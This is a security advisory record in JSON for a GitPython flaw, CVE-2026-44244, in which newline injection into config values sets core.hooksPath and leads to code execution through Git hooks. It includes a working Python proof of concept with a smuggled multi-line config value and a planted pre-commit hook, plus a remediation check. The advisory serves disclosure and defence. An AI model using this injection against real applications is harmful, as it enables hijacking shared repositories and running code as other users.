CVE-2026-44244: GitPython Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v87r-6q3f-2j67",
  "modified" : "2026-05-08T21:52:28Z",
  "published" : "2026-05-06T21:58:00Z",
  "aliases" : [ "CVE-2026-44244" ],
  "summary" : "GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath",
  "details" : "`GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.\n\nThe vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration.\n\nThis was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer() as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\", capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())  # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\", \"w\").write(\"#!/bin/sh\\nid > /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\", 0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())  # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.\n\nRemediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through:\n\n```python\nimport re\n\nif isinstance(value, (str, bytes)) and re.search(r\"[\\r\\n\\x00]\", str(value)):\n    raise ValueError(\"Git config values must not contain CR, LF, or NUL\")\n```\n\nRejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.\n\nAffected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "GitPython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.49"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.48"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44244"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gitpython-developers/GitPython"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T21:58:00Z",
    "nvd_published_at" : "2026-05-07T19:16:02Z"
  }
}